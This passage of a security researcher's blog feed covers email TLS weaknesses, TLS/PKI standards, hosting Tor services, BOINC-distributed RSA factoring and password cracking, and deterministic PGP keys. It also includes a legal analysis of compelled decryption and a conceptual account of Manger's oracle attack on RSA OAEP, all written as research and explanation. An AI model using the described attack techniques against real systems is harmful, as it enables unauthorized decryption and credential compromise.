&lt;p&gt;But passive attacks are usually undetectable from the user's perspective.  If a network is being tapped - either a corporate network, or the national backbone - you usually have no way of learning this.  We have &lt;a href="https://en.wikipedia.org/wiki/Room_641A"&gt;a&lt;/a&gt; &lt;a href="http://www.wired.com/science/discoveries/news/2006/05/70908"&gt;pretty&lt;/a&gt; &lt;a href="http://www.alternet.org/rights/155084/whistleblower%3A_the_nsa_is_lying_--_the_u.s._government_has_copies_of_most_of_your_emails/?page=entire"&gt;good&lt;/a&gt; &lt;a href="http://www.democracynow.org/2012/4/20/whistleblower_the_nsa_is_lying_us"&gt;idea&lt;/a&gt; that the NSA is tapping large swaths of the Internet, but because it's just whistleblowers it's not considered credible proof. The &lt;a href="http://en.wikipedia.org/wiki/FRA_law"&gt;Swedish version&lt;/a&gt; however is well documented. &lt;/p&gt; 

&lt;p&gt;But active attacks aren't always detectable either.  If Chrome didn't have cert pinning, who knows how long &lt;a href="http://en.wikipedia.org/wiki/DigiNotar"&gt;DigiNotar&lt;/a&gt; would have been undetected.  If a CA is compromised, we won't be able to detect an attack. Bugs can bypass certificate validity checking too.  It's a dangerous type of client bug that allows undetectable MITM, but &lt;a href="http://blog.thoughtcrime.org/sslsniff-anniversary-edition"&gt;we've seen them&lt;/a&gt;.  And if a client isn't checking for the validity of a certificate, an attacker doesn't need a bug or CA compromise, they can just perform a MITM with a self-signed certificate. &lt;/p&gt;

&lt;p&gt;When we think of "SSL clients" we think of web browsers.  &lt;em&gt;Sometimes&lt;/em&gt; email uses SSL too.  Not always.  When it doesn't, it's obviously easy to tap and read.  But when it does, it's not much better.&lt;/p&gt;

&lt;p&gt;Your individual client - Outlook or Thunderbird will require a valid certificate &lt;em&gt;if&lt;/em&gt; it's configured to use SSL.  But there's more to it than that.  Without going into too much detail, Outlook is a Mail User Agent (MUA), and it talks to a Mail Transfer Agent (MTA). When you send an email, your MUA transfers it to a MTA, and the MTA transfers it to another MTA.  That MTA-to-MTA transfer is &lt;em&gt;rarely&lt;/em&gt; protected by SSL.  When it &lt;em&gt;is&lt;/em&gt; protected it rarely has a valid certificate.  Even if it &lt;em&gt;does&lt;/em&gt; have a valid certificate, it's &lt;em&gt;almost never&lt;/em&gt; that a MTA requires a valid certificate.&lt;/p&gt;

&lt;p&gt;The end result of this is that our entire email infrastructure is vulnerable to passive eavesdropping and undetectable active attacks.  We have &lt;a href="http://www.imc.org/ietf-smtp/mail-archive/msg05366.html"&gt;statistics&lt;/a&gt;.  And we have examples.  You can use the very awesome &lt;a href="http://www.checktls.com/index.html" class="themainlink"&gt;CheckTLS.com&lt;/a&gt; to run some tests on different mail servers. I ran a few tests myself:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Valid SSL Certificate
 &lt;ul&gt;
 &lt;li&gt;Paypal
 &lt;li&gt;Wells Fargo
 &lt;li&gt;Bank of America
 &lt;li&gt;PNC Bank
 &lt;li&gt;StartSSL
 &lt;li&gt;GeoTrust
 &lt;li&gt;Thawte
 &lt;li&gt;Visa
 &lt;li&gt;VMWare
 &lt;/ul&gt;
&lt;li&gt;Has Invalid SSL Certificate&lt;/li&gt;
 &lt;ul&gt;
 &lt;li&gt;Google/Gmail, including Twitter and Github
 &lt;li&gt;Google Voice e.g. txt.voice.google.com
 &lt;li&gt;Youtube - bad wildcard
 &lt;li&gt; J.P. Morgan Chase
 &lt;li&gt;Citibank
 &lt;li&gt;ING Direct
 &lt;li&gt;Amazon
 &lt;li&gt;Tor Project (self-signed)
 &lt;li&gt;EFF (For a strange reason..)
 &lt;li&gt;Comodo (For a strange reason..)
 &lt;li&gt;Digicert (For a strange reason..)
 &lt;/ul&gt;
&lt;li&gt;Has &lt;em&gt;no&lt;/em&gt; SSL Certificate&lt;/li&gt;
 &lt;ul&gt;
 &lt;li&gt;Hotmail
 &lt;li&gt;Yahoo
 &lt;li&gt;Facebook
 &lt;li&gt;Mail.com
 &lt;li&gt;Live
 &lt;li&gt;Mint.com
 &lt;li&gt;Discover Card
 &lt;li&gt;Entrust
 &lt;/ul&gt;
&lt;/ul&gt;

&lt;p&gt;There's no ubiquitous e-mail encryption (S/MIME or PGP), there's no requirement for a valid SSL certificate (for what it's worth), and there's no requirement for SSL at all.  And there's no global plan for fixing it either.  Yet.  &lt;/p&gt;

&lt;p&gt;Footnotes:&lt;/p&gt;

&lt;p&gt;&lt;dd&gt;&lt;a href="http://ooni.nu/"&gt;OONI&lt;/a&gt;, or the Open Observatory of Network Interference, was introduced at RECon 2011 &lt;a href="http://archive.org/details/recon_2011_internet_filtering"&gt;(video of talk)&lt;/a&gt; and is a tool to detect surveillance and censorship in the world. &lt;/dd&gt;&lt;/p&gt;

&lt;p&gt;&lt;dd&gt;Even though Outlook and Thunderbird will require a valid CA-signed certificate if they're configured to use SSL, there's no Cert Patrol or Convergence for a mail client, so you'd never detect a CA compromise.&lt;/dd&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/Uo13rGVmHsA" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/Uo13rGVmHsA/blog-no_email_security.html</link><feedburner:origLink>http://ritter.vg/blog-no_email_security.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-blackhateu_tls.html</guid>
		<title>Black Hat EU Presentation: The IETF &amp; The Future of Security Protocols</title>
		<pubDate>14 Mar 2012 04:05 EST</pubDate>
		<description>&lt;p&gt;Just two weeks (to the day) after presenting &lt;a href="https://github.com/tomrittervg/cloud-and-control"&gt;Cloud &amp;amp; Control&lt;/a&gt; at RSA in San Francisco, I was in Amsterdam presenting at Black Hat EU.  I've been getting more involved with the tremendous number of standards bodies and keeping track in my own head on what improvements are coming down the pipe - I decided it'd be worthwhile to quantify that in a talk (and whitepaper). The talk actually only brushes over some of the topics that I thought would be the most interesting to talk about - the whitepaper and slides contain way more info.&lt;/p&gt;

&lt;p&gt;According to my filters, I'm on over 50 mailing lists and keeping track of everything is a pain - so I did it for you.  The whitepaper, &lt;a href="http://ritter.vg/p/2012-TLS-Survey.pdf" class="themainlink"&gt;available here&lt;/a&gt;, covers a lot of topics.  Improvements in and coming soon to browsers like Content Security Policy, Caja, Strict Transport Security, and Key Pinning; achieving authenticity through DNSSEC; and huge sections on TLS and PKI.  I go into detail on TLS 1.1 and 1.2 including implementation issues, deployment, and why we'll never actually get the security of the protocols until we remove backwards compatibility; but also upcoming TLS changes like False Start and Next Protocol Negotiation.  A couple larger topics in TLS like Channel Binding and Secure Remote Password, and a lot of smaller topics like Datagram TLS and Encrypted Client Certificates.  Finally, I survey all the proposed fixes or replacements for the Certificate Authority system, from the very popularized like Convergence to the very obscure like YURLs.  I pull out all the core concepts from the proposals to come up with a list of properties that can be used to evaluate all of the proposals and see where each falls short.&lt;/p&gt;

&lt;p&gt;I put way more effort into the whitepaper than I think Black Hat expects, but once I started working on it I wanted it to be complete.  It's likely to have some changes made - the current version is dated March 15, 2012, and is the first revision, containing a typo fix and a minor correction relating to RFC 5705 thanks to Adam Langley.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; The &lt;a href="https://media.blackhat.com/bh-eu-12/videos/bh-eu-12-Ritter-Future-of-Security-Protocols.mp4" class="themainlink"&gt;video has been posted&lt;/a&gt; by Black Hat.  160MB MP4.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/As-6ODIUQnM" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/As-6ODIUQnM/blog-blackhateu_tls.html</link><feedburner:origLink>http://ritter.vg/blog-blackhateu_tls.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-a_letter_the_the_calyx_institute.html</guid>
		<title>An Open Letter to The Calyx Institute</title>
		<pubDate>29 Oct 2011 15:36 EST</pubDate>
		<description>&lt;p&gt;&lt;a href="http://www.calyxinstitute.org/"&gt;Calyx Institute&lt;/a&gt;, Nick, et al&lt;/p&gt;

&lt;p&gt;I can't express how impressed and inspired I was by Nick's prolonged legal battle.  His willingness to stay the course, challenge the system meaningfully, and effect change is an inspiration to anyone who considers themselves a free speech advocate.&lt;/p&gt;

&lt;p&gt;I want to make The Calyx Institute aware of a severe deficiency online, and hope to inspire you to do what you can about it.  There are a number of individuals, nonprofits, and organizations that have run free-speech programs and services for years.  But this has always been done ad-hoc, often resulting in problems and headaches.  Services like Tor and remailers do generate legitimate abuse complaints.  But these abuse complaints are often automated and ultimately do not stand up to the safe harbor provisions as a common carrier.&lt;/p&gt;

&lt;p&gt;But that doesn't mean that Tor operators aren't forced to bounce hosting providers often.  There doesn't seem to be any meaningful way for people to host these services without worrying at night about whether it will be there in the morning [1].  I won't confess to completely understanding the landscape of ISPs, ARIN, peering, and abuse contacts - but I do know there seems to be no way as an individual or even non-profit to find a reasonably priced host that supports free speech.  I'm not looking for a host that turns a blind eye towards illegal activity, just one that understands that abuse notifications sent to a common carrier often have no teeth, and will pass them along to be dealt with by the individuals running the services.&lt;/p&gt;

&lt;p&gt;I think the Calyx Institute, having been founded by someone who &lt;em&gt;does&lt;/em&gt; understand the landscape, is uniquely situated in this area.  It's not so much a matter of providing advice, as for years we've all talked to hosting providers until we're blue in the face - and still we got dropped by our providers.  I hope Calyx Institute can grow to actually provide or partner with someone to provide the service, uplink, IP addresses, or whatever is needed to let individuals and organizations host our legal free-speech services.  And give us the peace of mind to fight our own battles against corporations and the government - without also fighting our hosting provider.&lt;/p&gt;

&lt;p&gt;-tom&lt;/p&gt;

&lt;p&gt;Cosignatures:
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.torservers.net/"&gt;https://www.torservers.net&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://crypto.is/"&gt;https://crypto.is/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;[1] You can browse the torservers mailing list archives for some insight into the problems. &lt;a href="http://www.freelists.org/archive/torservers/"&gt;http://www.freelists.org/archive/torservers/&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/l1BN1V9SENY" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/l1BN1V9SENY/blog-a_letter_the_the_calyx_institute.html</link><feedburner:origLink>http://ritter.vg/blog-a_letter_the_the_calyx_institute.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-ekoparty_boinc.html</guid>
		<title>Ekoparty Presentation: Cloud &amp; Control</title>
		<pubDate>27 Sep 2011 23:05 EST</pubDate>
		<description>&lt;p&gt;I gave my first presentation at a security conference on Friday, presenting at &lt;a href="http://ekoparty.org"&gt;ekoparty&lt;/a&gt; on some work I did at the beginning of the year on distributing complex tasks to hundreds or thousands of computers. &lt;a href="http://en.wikipedia.org/wiki/SETI@home"&gt;SETI@Home&lt;/a&gt; was the project that pioneered the idea of distributed volunteer computing, and their command &amp; control software evolved into a generic project called &lt;a href="http://en.wikipedia.org/wiki/Berkeley_Open_Infrastructure_for_Network_Computing"&gt;BOINC&lt;/a&gt;. You can run just about any application in BOINC - whether it's open or closed source, uses GPUs, the network, or even if it's not CPU intensive (like nmapping the internet).&lt;/p&gt;

&lt;p&gt;Setting up a server isn't the most exciting topic to talk about, so I used two examples to illustrate BOINC in my presentation: factoring RSA512 to recover the private key to SSL certificates or PGP keys and cracking passwords.  Factoring was a huge success, but cracking didn't work out that well.  BOINC was able to distribute the work and crack things really quickly - by splitting up wordlists automatically based on hash functions I was able to scale out to more machines than I think most people are able to... but the problem came from never actually looking at the output.  The best crackers, especially in cracking contests, find patterns in the cracked passwords to make mangling rules and masks and crack more passwords.  You could still use BOINC as a work distributor to scale out, but you need to be behind the wheel making work units - not use it as a fire-and-forget system.&lt;/p&gt;

&lt;p&gt;Getting applications running in BOINC is a bit of trial and error.  If it's an open source application, you have to patch it a little bit and if it's closed source you have to write a job.xml file defining how to run the application.  In either case you have to define input and output templates that let BOINC know what files to send with the workunit and to expect the program to produce.  And when I was sending a couple hundred MB wordlists and resource files, I wanted to compress them and decompress them on the client, so that added a little bit of work too.  To try and make it easier on you, I've released all the scripts, templates, config files, and patches I created while working with BOINC.  I've also not just released my slides, but annotated them with links to the reference material for everything mentioned.  Everything is up on &lt;a href="http://github.com/GDSSecurity/cloud-and-control"&gt;github&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I've wanted to factor large numbers for a while, and this was actually what got me into this whole mess.  I have some (simple) observations about &lt;a href="https://github.com/GDSSecurity/cloud-and-control/tree/master/gnfs-info"&gt;factoring using the General Number Field Sieve&lt;/a&gt;, as well as instructions for how to do it yourself (with or without BOINC).&lt;/p&gt;

&lt;p&gt;I have to thank Leonardo and all the ekoparty organizers for putting on a great conference.  They went out of the way to make the international arrivees as comfortable as possible, and even had simultaneous translation from english to spanish &lt;em&gt;and&lt;/em&gt; from spanish to english.  Buenos Aires is a wonderful city, and I really recommend you visit!&lt;/p&gt;

&lt;p&gt;This writeup originally appeared on the &lt;a href="http://blog.gdssecurity.com/labs/2011/9/26/ekoparty-presentation-cloud-control.html"&gt;Gotham Digital Science blog&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/il04HZ18Ks8" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/il04HZ18Ks8/blog-ekoparty_boinc.html</link><feedburner:origLink>http://ritter.vg/blog-ekoparty_boinc.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-non_persistent_pgp.html</guid>
		<title>Non-Persistent PGP Keys</title>
		<pubDate>3 Aug 2011 16:09:36 PST</pubDate>
		<description>&lt;p&gt;I just got out of Dan Kaminsky's talk at Black Hat where he talked about a myriad of topics, but the one I want to focus on was his tool Phidelius.  It's a library you reference with LD_PRELOAD that hooks /dev/random, /dev/urandom and some other functions that un-randomizes the random data that key generators like gnupg, openssl, or ssh-keygen uses.&lt;/p&gt;

&lt;p&gt;Why would you want to do that?  Well, instead of using a random stream of bytes - it uses a reproducible stream of bytes based off a password/passphrase.  The bytes could come from any key derivation script, but both Dan and I chose scrypt, by Colin Percival.&lt;/p&gt;

&lt;p&gt;His tool is considerably more robust than mine and works with many different programs without modification - mine specifically generates OpenPGP keys.  And as he noted in his talk - while you &lt;em&gt;can&lt;/em&gt; do this - that doesn't mean it's a good idea.  &lt;/p&gt;

&lt;p&gt;The idea has probably been public for some time now, although I couldn't find an example of - and since Dan has shouted it out, I figured now's the time to release my code and let people play with it while they're interested. Anyway, there are a ton of caveats, some of which I'll list:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;This is pre-alpha.  There may be straight-out-bugs in my code.
&lt;li&gt;Two people using the same password and scrypt keys would generate the same public keys.  I think this is less of an issue than Dan, I assume people using my code would use strong passphrases.
&lt;li&gt;While it works and is usable, it relies on a bunch of tricks/hacks.
&lt;li&gt;The public key generated has a different KeyID each time, because the KeyID is a hash over the public key parameters, which includes the date it was created.
&lt;li&gt;This may generate keys +/- a few bits off the stated length (2047 instead of 2048)
&lt;li&gt;The key generated is unencrypted - meaning there's no passphrase on your secret key.
&lt;li&gt;You'd have to have a crazy threat model for this to be a good idea.  
&lt;li&gt;You don't have that threat model, and if you do, you still shouldn't use this code in real life.
&lt;/ul&gt;

&lt;p&gt;The code is &lt;a href="/resources/non-persistent-gpg-keys.tgz" class="themainlink"&gt;located here&lt;/a&gt;.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/hzvYp5oQ08A" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/hzvYp5oQ08A/blog-non_persistent_pgp.html</link><feedburner:origLink>http://ritter.vg/blog-non_persistent_pgp.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-fricosu_part1.html</guid>
		<title>US v Fricosu - Compelled Disclosure of Encryption Keys</title>
		<pubDate>11 Jul 2011 18:36 EST</pubDate>
		<description>&lt;style type="text/css"&gt;
.legal {
   border: 1px dotted #444400;
}
&lt;/style&gt;

&lt;p&gt;&lt;em&gt;I am not a lawyer, and this blog does not constitute legal analysis.  It should be taken merely as speculation and pointers to topics for you to do your own research on. Throughout this blog post I'm going to use &lt;span class="legal"&gt;this notation&lt;/span&gt; to indicate a word has a specific legal definition, and I'm not using the word colloquially.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;One of the biggest targets of armchair lawyers on blogs, twitter, and reddit (myself included) has been whether or not the government can force you to turn over your encryption key.  An actual lawyer, a law professor in fact, has written a series of posts on the theory, and details of the two cases that address the issue.&lt;/p&gt;

&lt;ol&gt;

&lt;li&gt;&lt;a href="http://cyb3rcrim3.blogspot.com/2006/08/encrypted-hard-drives-and-constitution.html"&gt;Encrypted Hard Drives and the Constitution &lt;/a&gt; - &lt;strong&gt;August 23, 2006&lt;/strong&gt; - The first time the question is raised, in a purely hypothetical way.  It lays some information down you should fully grok - for example Miranda rights don't apply in many cases because you are not in &lt;span class="legal"&gt;custody&lt;/span&gt; and the 5th Amendment does not apply because you are not being &lt;span class="legal"&gt;compelled&lt;/span&gt; to produce &lt;span class="legal"&gt;testimony&lt;/span&gt;.  It references the &lt;a href="http://caselaw.lp.findlaw.com/scripts/getcase.pl?navby=case&amp;court=us&amp;vol=487&amp;page=201"&gt;1988 Doe vs United States&lt;/a&gt; case which addressed the question of applying the 5th Amendment to physical evidence (like a key to a safe) and to communication (like a memorized combination to a safe).&lt;/li&gt;

&lt;li&gt;&lt;a href="http://cyb3rcrim3.blogspot.com/2007/12/court-upholds-using-fifth-amendment-to.html"&gt;Court upholds using the Fifth Amendment to refuse to disclose your password &lt;/a&gt; - &lt;strong&gt;December 15, 2007&lt;/strong&gt; - The first post regarding an actual case, United States v. Boucher.  The U.S. District Court for the District of Vermont held that Boucher could invoke the Fifth Amendment and refuse to comply.  It again goes into detail about &lt;span class="legal"&gt;testimony&lt;/span&gt; and &lt;span class="legal"&gt;custody&lt;/span&gt;.  &lt;/li&gt;

&lt;li&gt;&lt;a href="http://cyb3rcrim3.blogspot.com/2009/03/5th-amendment-bummer.html"&gt;5th Amendment Bummer&lt;/a&gt; - &lt;strong&gt;March 06, 2009&lt;/strong&gt; - An update on United States v. Boucher.  The Government appealed, and modified their request.  Now they were no longer after the password, but instead were trying to &lt;span class="legal"&gt;compell&lt;/span&gt; Boucher to show the unencrypted files to a Grand Jury.  They crucially changed the argument from communication (exempt via the 5th amendment) to producing physical evidence (not exempt, see Doe vs United States 1988).  The court bought the new argument and stated Boucher  must produce the unencrypted contents by the date specified or be held in &lt;span class="legal"&gt;contempt&lt;/span&gt; (which amounts to sitting in jail until you comply).&lt;/li&gt;

&lt;li&gt;&lt;a href="http://cyb3rcrim3.blogspot.com/2010/04/passwords-and-5th-amendment-privilege.html"&gt;Passwords and the 5th Amendment Privilege&lt;/a&gt; - &lt;strong&gt;April 28, 2010&lt;/strong&gt; - This post addresses U.S. v. Kirschner a case in the U.S. District Court for the Eastern District of Michigan.  The government erred in this case by specifically seeking testimony and even using the analogy "It's like giving the combination to a safe." which we mentioned earlier was protected.  The government's subpoena was quashed.&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;Now, updates on those two cases.  According to the headline article "Boucher eventually complied and was convicted."  Brenner speculated the government would appeal to the 6th Circuit in Kirschner (and based on the Obama adminstration's judicial actions I would expect so too), but I haven't been able to find any evidence of that - so I'm not sure what happened to Kirschner.&lt;/p&gt;

&lt;p&gt;Now let's examine the current case - &lt;a href="http://news.cnet.com/8301-31921_3-20078312-281/doj-we-can-force-you-to-decrypt-that-laptop/"&gt;US vs Fricosu&lt;/a&gt;.  It's in the United States District Court for the District of Colorado.  I'm not sure how Fricosu is represented, but the case gained attention after the EFF &lt;a href="http://www.eff.org/press/archives/2011/07/08"&gt;filed an amicus brief&lt;/a&gt; in the case Friday.  If you're unfamiliar with the term, it does &lt;em&gt;not&lt;/em&gt; mean the EFF is involved in the case or representing Fricosu, only that they're interested in it and presents a supporting arguement to the court on behalf of Fricosu.  &lt;/p&gt;

&lt;p&gt;Now, again, I don't know the exact request made by the prosecutor, but quoting the article:&lt;/p&gt;

&lt;blockquote&gt;Prosecutors stressed that they don't actually require the passphrase itself, meaning Fricosu would be permitted to type it in and unlock the files without anyone looking over her shoulder. They say they want only the decrypted data and are not demanding "the password to the drive, either orally or in written form."&lt;/blockquote&gt;

&lt;p&gt;As we saw in Boucher, this doesn't bode well because they're taking the physical evidence approach.  &lt;s&gt;The best-case scenario is the prosecution argues the physical evidence approach and the court strikes it down.  We'll have to wait and see.&lt;/s&gt; Now the EFF argues in their Amicus Brief that producing the decrypted contents should &lt;strong&gt;not&lt;/strong&gt; be required, because doing so is testimony.  Specifically, the government has not shown that Fricosu has control or knowledge of the contents of the laptop, therefore by decrypting the contents she is testifying to authority.  (This has to do with the legal term &lt;span class="legal"&gt;forgone conclusion&lt;/span&gt;.)  You should definetly read &lt;a href="https://www.eff.org/files/filenode/us_v_fricosu/fricosuamicus7811.pdf"&gt;the brief&lt;/a&gt; as it goes into a lot of precedence and case law.  It's also worthwhile to note that in Boucher, the contents of the encrypted drive &lt;em&gt;were&lt;/em&gt; a forgone conclusion as Boucher has previously revealed them to a Customs officer.&lt;/p&gt;

&lt;p&gt;But there are some other evidentiary issues here.  &lt;em&gt;You should definitely take this with a grain of salt - I've read Law School Evidence books, and did not do well on the practice tests.&lt;/em&gt;  With computer cases, there's a lot of chain of custody, verification stuff that's got to be done.  Image the drive, use a write-blocker, show the chain of custody that it couldn't have been altered... But the process they are describing would shoot the normal evidence handling process to hell.  It'd be near-impossible to satisfy both sides.&lt;/p&gt;

&lt;p&gt;Consider the case where Fricosu enters the password into a specially built program that's designed to decrypt with write-blocker and preserve evidence.  Fricosu would have a strong argument the government could actually obtain the passphrase from her via subtle means.  (I'm assuming the drive in question is the boot drive on a laptop - if it was a truecrypt container, the scenario changes.)  While there may be assurance the evidence wouldn't be altered, there is none the government isn't taking the passphrase.  (Now there could be some shenanigans with the government granting immunity for the passphrase but not the contents... I'm not sure how that'd work.)&lt;/p&gt;

&lt;p&gt;Now consider the case where Fricosu enters the passphrase for the laptop in court in front of the grand jury - no write-blocker involved and no protections in place.  Fricosu would have an argument that the evidence could have been altered and should not be admitted (e.g. by normal operating system boot-up, or a malicious virus on the machine, or simply by a script she wrote to delete sensitive files on startup).  These issues &lt;em&gt;can&lt;/em&gt; be overcome by the court, but they are argued on their own.  Brenner has &lt;a href="http://cyb3rcrim3.blogspot.com/2010/08/chat-logs-authentication-and-best.html"&gt;written articles in this area as well&lt;/a&gt;.  On this topic, it'd be trivial for me to write a startup script on my machines that says "Have I been turned on in the last 2 months?  No?  Okay, shred all the sensitive stuff...."&lt;/p&gt;

&lt;p&gt;Another nice thing about this case is that unlike Boucher and Kirschner; Fricosu isn't accused of child pornography.  I imagine it's difficult for lawyers to argue civil liberties when the individual you're protecting is rather obviously someone involved in transporting or concealing child porn.  Certainly there are arguments that everyone deserves a fair trial - and they do... but there's also the reality of the crime.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;em&gt;July 20, 2011&lt;/em&gt; Susan Brenner of the previously super-linked &lt;a href="http://cyb3rcrim3.blogspot.com/"&gt;cyb3rcrim3&lt;/a&gt; has graciously obtained the government motion in the case, sent it to me, and allowed me to post it before her.  You can &lt;a href="/resources/fricosu-motion.pdf"&gt;download the pdf here&lt;/a&gt; or &lt;a href="https://docs.google.com/a/ritter.vg/viewer?url=http://ritter.vg/resources/fricosu-motion.pdf"&gt;view it in google docs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The motion doesn't go into details about what type of encryption software was used, but do imply that the entire computer is protected - so probably PGP WDE or Truecrypt.  It gives several details that apply to the arguement of whether or not Fricosu has control or knowledge of the computer, and also directly says:&lt;/p&gt;

&lt;blockquote&gt;As the act of production might potentially entitle Ms. Fricosu to assert her right to refuse under the Fifth Amendment of the United States constitution, the Government has sought approval to seek this court's grant of limited immunity, thus precluding the Government using her act of producing the unencrypted contents against her in any prosecution.&lt;/blockquote&gt;

&lt;p&gt;One of the last arguments made by the EFF in their amicus brief is that Fricosu is justified in refusing to provide the password because that limited immunity does not include a "guarantee against use or derivative use of the information".  That is: &lt;/p&gt;

&lt;blockquote&gt;When a witness's act of production is testimonial in character, the government must grant use and derivative-use immunity to satisfy the Constitution.s requirements. Hubbell I, 530 U.S. at 41-46.  This means that the government may not use the act of production itself against Fricosu, &lt;em&gt;nor any evidence on the computer derived from the act of production&lt;/em&gt;. ... Should the Court decide that Fricosu must supply the data on the laptop in decrypted form, the government will face a .heavy burden of proving that all of the evidence it proposes to use [from the laptop] was derived from legitimate independent sources. (emphasis mine)&lt;/blockquote&gt;

&lt;p&gt;The &lt;strong&gt;strongest&lt;/strong&gt; argument is this: "I do not believe he can be compelled to reveal the combination to his wall safe".  But where does it come from?  From the Supeme Court Case &lt;a href="http://supreme.justia.com/us/487/201/case.html"&gt;Doe v United States 487 U. S. 201 (1988)&lt;/a&gt;.  But it wasn't the major finding of the case.  Rather, it was made in two places.  Second, most plainly, in a comment by Justice Stevens in a dissenting opinion:  "He may in some cases be forced to surrender a key to a strongbox containing incriminating documents, but I do not believe he can be compelled to reveal the combination to his wall safe -- by word or deed."  And the first, a weaker one, in an implication in a footnote of the Majority Opinion:&lt;/p&gt;

&lt;blockquote&gt;We do not disagree with the [prior statement] that "the expression of the contents of an individual's mind" is testimonial communication for purposes of the Fifth Amendment. We simply disagree with the [prior conclusion] that the execution [at issue here] forced petitioner to express the contents of his mind. In our view, [the compulsion] is more like "being forced to surrender a key to a strongbox containing incriminating documents," than it is like "being compelled to reveal the combination to a wall safe."&lt;/blockquote&gt;

&lt;p&gt;I heavily hacked that up to make it easier to understand absent details of the Doe case, you can see it in the original form by searching for "wall".  But lawyers are really good at this.  The majority opinion did &lt;em&gt;not&lt;/em&gt; say that the wall safe was protected speech like Stevens did, only that this instance was unlike a wall safe.  I think it's plain to see that a wall safe is a very good analogy for encryption.  They're not perfect - but a very good wall safe could not be opened forcibly without destroying the papers inside, and good encryption cannot be opened reasonably.  We have to hope the court finds that producing the contents of a wall safe or encrypted container would be an "expression of the contents of an individual's mind".&lt;/p&gt;

&lt;p&gt;Now I wonder about keyfiles.  If the government didn't know how to unlock a truecrypt container, they could try to compell you like this.  But there is no password.  And you tell them this, you tell them it is unlocked with a keyfile.  So they demand you produce the keyfile.  Here's where it gets tricky... Could you say "You have the keyfile already, and my telling you which one it is is protected."?  You can't prove they have the keyfile without giving it to them - there's no zero-knowledge proof possible here.  Any attempt to construct one would fail because no judge would accept the rigor required for a zero-knowledge proving.  I wonder how keyfiles would be treated...  &lt;/p&gt;

&lt;p&gt;&lt;em&gt;I expect to update this over the next few days as details emerge.  Updates will not trigger a new RSS entry, but will be announced on &lt;a href="http://twitter.com/tomrittervg"&gt;Twitter&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/rittervg/~4/7lcxlWDBBCg" height="1" width="1"/&gt;</description>
	<link>http://feedproxy.google.com/~r/rittervg/~3/7lcxlWDBBCg/blog-fricosu_part1.html</link><feedburner:origLink>http://ritter.vg/blog-fricosu_part1.html</feedburner:origLink></item>

	<item>
		<guid isPermaLink="false">http://ritter.vg/blog-mangers_oracle.html</guid>
		<title>Beyond Padding Oracle - Manger's Oracle and RSA OAEP Padding</title>
		<pubDate>2 Jun 2011 12:56:34 EST</pubDate>
		<description>&lt;p&gt;Several months ago I was looking at the proceedings from &lt;a href="https://hashdays.ch/"&gt;#days 2010&lt;/a&gt; and read &lt;a href="http://crypto.junod.info/"&gt;Pascal Junod&lt;/a&gt;'s slides &lt;a href="http://crypto.junod.info/hashdays10_talk.pdf"&gt;Open-Source Cryptographic Libraries and Embedded Platforms&lt;/a&gt;. In them, he mentioned James Manger's attack on RSA OAEP, a padding scheme first defined in PKCS #1 v2.0. I hadn't heard of it before, and it interested me enough to investigate. (The paper is available via &lt;a href="http://www.google.com/search?q=%22A+Chosen+Ciphertext+Attack+on+RSA+Optimal+Asymmetric+Encryption+Padding+(OAEP)+as+Standardized+in+PKCS+%231+v2.0%22"&gt;Google&lt;/a&gt; or &lt;a href="http://portal.acm.org/citation.cfm?id=704143"&gt;ACM&lt;/a&gt; if you're a member.)&lt;/p&gt;

&lt;p&gt;The basics of the attack are similar to the Padding Oracle attack in that a small piece of information is exposed via error messages and doing some clever math you can use that to retrieve the plaintext from the ciphertext.  After the ciphertext is decrypted, the OAEP decoding process begins.  The decrypted plaintext is supposed to fit in one less byte than the maximum size of the ciphertext.  If the plaintext does not have a 00 in the highest byte, the ciphertext is considered to have been tampered with and an error is returned.  Because of the properties of RSA, you can directly influence the plaintext p by multiplying the ciphertext c by x&lt;sup&gt;e&lt;/sup&gt; mod n - where e is the exponent from the public key, n the modulus, and x the arbitrary number you want to multiply the plaintext by.  This will produce a plaintext p*x mod n after decryption.&lt;/p&gt;

&lt;p&gt;Manger's Oracle relies on manipulating the plaintext and detecting when it has overflowed into the highest byte.  Using a method reminiscent of &lt;a href="http://en.wikipedia.org/wiki/Binary_search_algorithm"&gt;binary search&lt;/a&gt;, the possible values of the plaintext are narrowed down until only one remains - allowing recovery of the plaintext from the ciphertext.  The number of oracle queries needed depends on keysize; for 1024, it's around 1200.&lt;/p&gt;

